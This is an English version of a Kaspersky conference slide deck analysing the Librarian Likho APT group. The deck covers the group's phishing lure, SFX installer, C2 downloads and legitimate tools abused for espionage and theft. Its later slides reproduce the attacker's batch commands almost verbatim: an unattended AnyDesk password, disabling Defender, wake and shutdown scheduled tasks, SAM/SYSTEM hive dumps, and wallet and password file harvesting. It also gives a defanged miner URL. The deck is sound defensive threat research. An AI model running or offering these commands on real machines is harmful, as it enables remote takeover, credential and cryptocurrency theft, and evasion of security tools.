# Librarian Likho — an APT group combining cyberespionage and financial motivation Alexey Shulmin · Kaspersky Slides · https://2025.moscow-forensics-day.workers.dev/en/slides/11-shulmin-librarian-likho An English version of the Russian deck shown in the recording: the text set by the authors is translated and redrawn in place, everything captured from a screen is left as it was. --- ## Page 1 — 04:51:26 MOSCOW FORENSICS DAY '25 UVUL ALEXEY SHULMIN “LIBRARIAN LIKHO - AN APT GROUP COMBINING CYBERESPIONAGE AND FINANCIAL MOTIVATION” MFD MED ## Page 2 — 04:51:51 Librarian Likho - an APT group combining cyberespionage and financial motivation Alexey Shulmin kaspersky Malware Expert, Kaspersky ## Page 3 — 04:52:58 kaspersky Аналитический отчет 2025 330+ pages of expert material Attacker profile and the most interesting TTPs Breakdown of the most active groups, split into clusters Technical evidence of links between the groups inside each cluster Hundreds of detailed TTPs used by the groups described Group graphs with their indicators and links in Obsidian Записки цифрового ревизора три кластера угроз в киберпространстве kaspersky ## Page 4 — 04:54:05 3 Librarian Likho APT (ex. Librarian Ghouls) (AKA Rare Werewolf, Rezet) kaspersky ## Page 5 — 04:54:56 Librarian Likho Librarian Likho APT: State-sponsored APT (another state's intelligence services are probably behind it); Main goal – cyberespionage, but why not earn steal some money?; Targets – Russia, Belarus, Kazakhstan: industry, research institutes and design bureaus, universities; • KISS (Keep It Simple, Stupid!). kaspersky ## Page 6 — 04:56:40 Initial Attack Vector Thu 7/18/2024 5:19 PM Николай Михайлов • ru> О ведении Каталога российской ЭКБ (6-3223 от 18.07.2024); 5 To Исх. 18.07.2024.Nº6.322... 1 MB Здравствуйте! В приложении список рассылки. Направляем в ваш эдрес документ ФГБУ С Пароль С уважением, канцелярия. Тел. +7 (495)! E-mail *-•...-. Конецпересылаемого сообщения --... Суважением, Ао! Initial attack vector – a phishing email kaspersky ## Page 7 — 04:58:42 Attachment (from another spearphishing email) "Ic - платежное порученние Nº 347298446725 - 2019.rar" "1c - платежное порученние Nº34729636725 - 2019.scr" SFX archive built with Smart Install Maker, containing: data.cab, a cabinet file with the malicious files; installer.config, the installer configuration file containing the commands to be run during installation; runtime.cab, a CAB file containing only a 36-byte header. The embedded CAB file data.cab contains the following files: decoy file in pdf format (=> \Intel\Payment Order # 131.pdf); legitimate executable – the curl utility (=> \Intel\curl.exe); malicious LNK file (=> \Intel\AnyDesk\bat.lnk). kaspersky ## Page 8 — 05:00:06 Decoy / red-herring file Поступ. в бакх. плат. Списано со сч. плат. ПЛАТЕЖНОЕ ПОРУЧЕНИЕ Mº 131 15.06.2024 Дата Виз платежа Сухола прописью \| Шесть сот рублей 00 копеек. Инн кПП 600-00 Сумна 000 Платетьшик: АКБ Банх платеть шика Банх потучателя КПП БИК Cr. Ne БИК Cr. Ne 01 Вид от Orep Потучатеть Код Pes 2oze Взносы на обязательное социальное страхование от несчастных случаев на производстве и профессионатьных заболеваний за май 2024 гола. Регистрационный номер Назначение платежа kaspersky ## Page 9 — 05:01:02 Installation actions After launch the installer performs the following actions, set in the configuration file: Adds the registry keys needed to install 4t Tray Minimizer (https://www.4t-niagara.com/) About 4t Niagara Software 4t Niagara Software is a trading name used by Holbi Group Ltd, VAT GB234583502 Contact Information Paradise Farm High Street Kempsford Fairford Gloucestershire GL7 4EU United Kingdom Contact us via the email support@4t-niagara.com or via the below online form: kaspersky ## Page 10 — 05:03:05 Installation actions After launch the installer performs the following actions, set in the configuration file: Creates the file c:\Intel\rezet.cmd with shell commands, for example: • cmd.exe /c echo c: \Intel\ rezet.cmd cd c: \Intel\ • cmd.exe /c echo >> c:\Intel\ rezet.cmd ping -n 6 127.0.0.1 The main thing is conspiracy (!), so the folder gets the “system” and “hidden” attributes. CONSPIRACY kaspersky ## Page 11 — 05:05:11 Installation actions After launch the installer performs the following actions, set in the configuration file: Connects to the C2 and downloads the following files: driver.exe (a custom RAR 3.80, all console output stripped); blat.exe (the legitimate Blat utility for sending mail over SMTP); svchost.exe (AnyDesk RAT); • trays.rar (4t Tray Minimizer); • wol.ps1; • dc.exe (Defender Control). Unpacks trays.rar with driver.exe using the password limpid2903392 (conspiracy, remember?), and puts the contents into C:\Intel. Then runs Trays.lnk, which starts 4t Tray Minimizer. kaspersky ## Page 12 — 05:06:49 Installation actions Why do the attackers need 4t Tray Minimizer? У меня же лапки kaspersky ## Page 13 — 05:07:17 Installation actions Finally, rezet.cmd runs bat.lnk, extracted earlier, which runs bat.bat. And that one, in turn: Sets the AnyDesk password QWERTY1234566, which lets the attackers connect to the victim with no permission prompt; Calls Defender Control to disable Windows Defender: 2i Defender Control v1.7 - Command Line Info Usage: dc.exe ‹command> /E : Enable Windows Defender /D : Disable Windows Defender /Q : Queries Windows Defender Status Exsamples: dc.exe /E dc.exe /D dc.exe /Q Copyright @ 2015-2021 www.sordum.org All rights reserved. kaspersky ## Page 14 — 05:08:05 Installation actions Bat.bat also: Calls powercfg (the PC power management utility) six times (!) to keep the victim available for a remote connection at any time; Uses schtasks to create the ShutdownAt5AM task, to shut the victim down at five a.m. every day. echo QWERTY1234566 | AnyDesk. exe --set-password _unattended_access %SYSTEMDRIVE%\Intel\dc.exe /D 2 powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 4 5 powercfg -change - standby-timeout-ac e powercg -change -hibernate-timeout-ac 0 7 powercg -h off powercg/SETDVALUEINDEX SCHEME_CURRENT 238c9fa8-@aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 8 powercg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-@aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-eld2b4ac806d 1 schtasks /create /t "ShutdownAt5AM"/tr "shutdown /s /f /t 0" /sc daily /st 05:00 10 kaspersky ## Page 15 — 05:09:03 Installation actions Also Bat.bat: runs the previously downloaded wol.ps1: SAction = New-ScheduledTaskAction -Execute "C: \Program Files (x86) \Microsoft \Edge \Application\msedge.exe" STrigger = New-ScheduledTaskTrigger -Daily -At "01:00AM" SPrincipal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest # Creating task settings STaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries - StartWhenAvailable -WakeToRun # Registering task in Task Scheduler Register-ScheduledTask -Action SAction -Principal SPrincipal -Trigger STrigger -TaskName "WakeUpAndLaunchEdge" -Settings STaskSettings - Force whose main purpose is to launch Microsoft Edge at 1:00 AM. We found no evidence that msedge.exe was replaced or patched, so the script runs the browser's genuine executable. This is done to “wake up” the victim at 1:00 AM, so the attackers get 4 hours for anything they want with the victim via AnyDesk. kaspersky ## Page 16 — 05:10:28 Malicious actions Next, Bat.bat: deletes Trays.rar, curl and the AnyDesk installer (no longer needed); sets the variables for blat.exe to send the stolen data to the attackers; collects crypto wallet credentials, plus dumps of HKLM\SAM and HKLM\SYSTEM (done with reg.exe); packs the stolen data into an archive and sends it to the attackers (Blat): %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *парол*.* /y %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\*карт** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *кошельк** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar :\wallet.dat /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *wallet* doc* /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *wallet*.txt /y %SYSTEMDRIVE%\Intel \driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *seed** /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C: \keystore.json /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *bitcoin** /Y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Inte/\ wallet.rar C:\ *usdt*.* /y %SYSTEMDRIVE%\Intel\ driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\ wallet.rar C:\ *ethereum** /y reg save hklm \sam %SYSTEMDRIVE%\Intel\sam.backup reg save hklm\system %SYSTEMDRIVE%\Inte/\ system.backup kaspersky ## Page 17 — 05:11:56 Malicious actions Finally, bat.bat: deletes the folder C:\Intel\ installs a miner into the system (legitimate, but used as malicious) (hxxps://bmapps[.]org/bmcontrol/win64/Install.exe), config - hxxps://bmapps[.]org/bmcontrol/win64/app.json deletes itself. kaspersky ГДЕ КАРТА БИЛЛИ? ## Page 18 — 05:13:03 Legitimate tools, used by the adversaries The attackers used the following utilities in the attacks (KISS): A customized version of RAR 3.80; • Blat utility; • AnyDesk RAT software; • The Defender Control software; • The 4t Tray Minimizer software; • Mipko Personal Monitor (Ukrainian language set O); • WebBrowserPassView Tool; • Ngrok reverse proxy tool; • NirCmd. The attackers deliberately (?) used no binary implants in the attack. kaspersky ## Page 19 — 05:14:41 Infrastructure fun < G® htp://users-mail.ru/loon.php Mail.ru Почта Облако Одноклассники ВКонтакте Новости Знакомства Все проекты !!! @mail i протр ad Войти Регистрация Войти в аккаунт @mail Яндекс M Gmail Другой Имя аккаунта Ввести пароль • запомнить Другие способы входа L VKID Войти через Госуслуги Восстановить доступ Создать аккаунт Быстрый вход по QR-коду Наведите камеру телефона Подробнее kaspersky ## Page 20 — 05:17:22 Infrastructure fun © Index of / Index of / Name Last modified Size Description ChromeUpdate rar 2025-02-28 11:30 15M Trays. jpg 2024-10-30 07:08 1.7M bat. jeg 2024-11-13 08:03 4.0K bk. rar 2025-02-28 09:461.7M 2024-11-10 19:00 240K blat jeg driver exe 2024-10-30 07:08 293K 2025-03-0107:296.6 pas.rar 2024-10-30 07:08 5 1M svchost.jRg 2024-11-13 08:03 670 На В доступе отказано! < → C a downdown.ru/pma/ Добро пожаловать в phpMyAdmin • Данные для входа не верны. В доступе отказано. kaspersky ## Page 21 — 05:18:48 kaspersky Q&A Session